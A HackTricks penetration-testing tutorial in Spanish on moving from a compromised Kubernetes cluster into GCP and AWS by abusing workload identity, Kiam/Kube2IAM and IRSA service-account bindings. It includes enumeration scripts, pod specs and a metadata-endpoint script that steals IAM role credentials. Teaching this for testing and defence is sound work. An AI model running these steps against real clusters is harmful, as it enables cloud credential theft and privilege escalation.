Kubernetes Pivoting to Clouds

¡Apoya a HackTricks y obtén beneficios!

GCP

Si estás ejecutando un clúster k8s dentro de GCP, probablemente quieras que alguna aplicación que se ejecute dentro del clúster tenga acceso a GCP. Hay 2 formas comunes de hacerlo:

Montar claves GCP-SA como secreto

Una forma común de dar acceso a una aplicación de Kubernetes a GCP es:

  • Crear una cuenta de servicio de GCP

  • Asignarle los permisos deseados

  • Descargar una clave JSON de la cuenta de servicio creada

  • Montarla como un secreto dentro del pod

  • Establecer la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde se encuentra el archivo JSON.

Por lo tanto, como atacante, si comprometes un contenedor dentro de un pod, debes verificar esa variable de entorno y los archivos JSON con las credenciales de GCP.

Relacionar JSON de GSA con secreto de KSA

Una forma de dar acceso a un GSA a un clúster GKE es vinculándolos de la siguiente manera:

  • Crear una cuenta de servicio de Kubernetes en el mismo espacio de nombres que tu clúster GKE usando el siguiente comando:

Copy codekubectl create serviceaccount <service-account-name>
  • Crea un Secret de Kubernetes que contenga las credenciales de la cuenta de servicio de GCP a la que deseas otorgar acceso al clúster de GKE. Puedes hacer esto utilizando la herramienta de línea de comandos gcloud, como se muestra en el siguiente ejemplo:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Vincula el Secreto de Kubernetes a la cuenta de servicio de Kubernetes utilizando el siguiente comando:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

En el segundo paso se establecieron las credenciales de GSA como secreto de KSA. Luego, si puedes leer ese secreto desde dentro del clúster GKE, puedes escalar a esa cuenta de servicio de GCP.

Identidad de carga de trabajo de GKE

Con la Identidad de carga de trabajo, podemos configurar una cuenta de servicio de Kubernetes para actuar como una cuenta de servicio de Google. Los pods que se ejecutan con la cuenta de servicio de Kubernetes se autenticarán automáticamente como la cuenta de servicio de Google al acceder a las API de Google Cloud.

La primera serie de pasos para habilitar este comportamiento es habilitar la Identidad de carga de trabajo en GCP (pasos) y crear la cuenta de servicio de GCP que deseas que k8s suplante.

  • Habilitar la Identidad de carga de trabajo en un nuevo clúster

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Crear/Actualizar un nuevo grupo de nodos (Los clústeres de Autopilot no necesitan esto)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crear la Cuenta de Servicio de GCP para suplantar desde K8s con permisos de GCP:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Conéctate al cluster y crea la cuenta de servicio a utilizar

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Vincular el GSA con el KSA

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Ejecuta un pod con el KSA y verifica el acceso a GSA:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Verifica el siguiente comando para autenticarte en caso de ser necesario:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Como atacante dentro de K8s, debes buscar SAs con la anotación iam.gke.io/gcp-service-account, ya que esto indica que el SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el clúster y verificar si tiene acceso. Desde GCP, siempre es interesante enumerar los enlaces y saber a qué acceso estás dando a los SAs dentro de Kubernetes.

Este es un script para iterar fácilmente sobre todas las definiciones de pods en busca de esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role para Pods)

Una forma (obsoleta) de asignar roles IAM a los Pods es utilizar un servidor de Kiam o Kube2IAM. Básicamente, necesitarás ejecutar un daemonset en tu clúster con un tipo de rol IAM privilegiado. Este daemonset será el encargado de proporcionar acceso a los roles IAM a los pods que lo necesiten.

En primer lugar, debes configurar qué roles se pueden acceder dentro del espacio de nombres, y lo haces con una anotación dentro del objeto del espacio de nombres:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una vez que el espacio de nombres esté configurado con los roles IAM que los Pods pueden tener, puedes indicar el rol que deseas en cada definición de pod con algo como:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Como atacante, si encuentras estas anotaciones en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system), puedes suplantar cualquier rol que ya esté utilizado por los pods y más (si tienes acceso a la cuenta de AWS, enumera los roles).

Crear Pod con Rol IAM

El rol IAM a indicar debe estar en la misma cuenta de AWS que el rol kiam/kube2iam y ese rol debe tener acceso a él.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role para Cuentas de Servicio de K8s a través de OIDC

Este es el método recomendado por AWS.

  1. Luego, creas un rol IAM con los permisos que la cuenta de servicio requerirá.

  2. Crea una relación de confianza entre el rol IAM y la cuenta de servicio (o los espacios de nombres que otorgan acceso al rol a todas las cuentas de servicio del espacio de nombres). La relación de confianza verificará principalmente el nombre del proveedor OIDC, el nombre del espacio de nombres y el nombre de la cuenta de servicio.

  3. Finalmente, crea una cuenta de servicio con una anotación que indique el ARN del rol, y las vainas que se ejecuten con esa cuenta de servicio tendrán acceso al token del rol. El token se escribe dentro de un archivo y la ruta se especifica en AWS_WEB_IDENTITY_TOKEN_FILE (por defecto: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Para obtener aws usando el token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token, ejecuta:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Como atacante, si puedes enumerar un clúster de K8s, verifica si hay cuentas de servicio con esa anotación para elevar los privilegios a AWS. Para hacerlo, simplemente ejecuta/crea un pod utilizando una de las cuentas de servicio privilegiadas de IAM y roba el token.

Además, si estás dentro de un pod, verifica las variables de entorno como AWS_ROLE_ARN y AWS_WEB_IDENTITY_TOKEN.

A veces, la Política de confianza de un rol puede estar mal configurada y, en lugar de otorgar acceso AssumeRole a la cuenta de servicio esperada, lo otorga a todas las cuentas de servicio. Por lo tanto, si eres capaz de escribir una anotación en una cuenta de servicio controlada, puedes acceder al rol.

Consulta la siguiente página para obtener más información:

pageAWS - Federation Abuse

Buscar Pods y SAs con Roles de IAM en el Clúster

Este es un script para iterar fácilmente sobre todos los pods y definiciones de sas en busca de esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Rol IAM del Nodo

La sección anterior trataba sobre cómo robar Roles IAM con pods, pero ten en cuenta que un Nodo del clúster de K8s va a ser una instancia dentro de la nube. Esto significa que es altamente probable que el Nodo tenga un nuevo rol IAM que puedes robar (ten en cuenta que normalmente todos los nodos de un clúster K8s tendrán el mismo rol IAM, por lo que puede que no valga la pena intentar verificar en cada nodo).

Sin embargo, hay un requisito importante para acceder al punto de conexión de metadatos desde el nodo, necesitas estar en el nodo (¿sesión ssh?) o al menos tener la misma red:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Robar Token de Rol IAM

Anteriormente hemos discutido cómo adjuntar Roles IAM a Pods o incluso cómo escapar al Nodo para robar el Rol IAM que la instancia tiene adjunto.

Puedes usar el siguiente script para robar las nuevas credenciales de tu rol IAM recién obtenido:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Referencias

¡Apoya a HackTricks y obtén beneficios!

Última actualización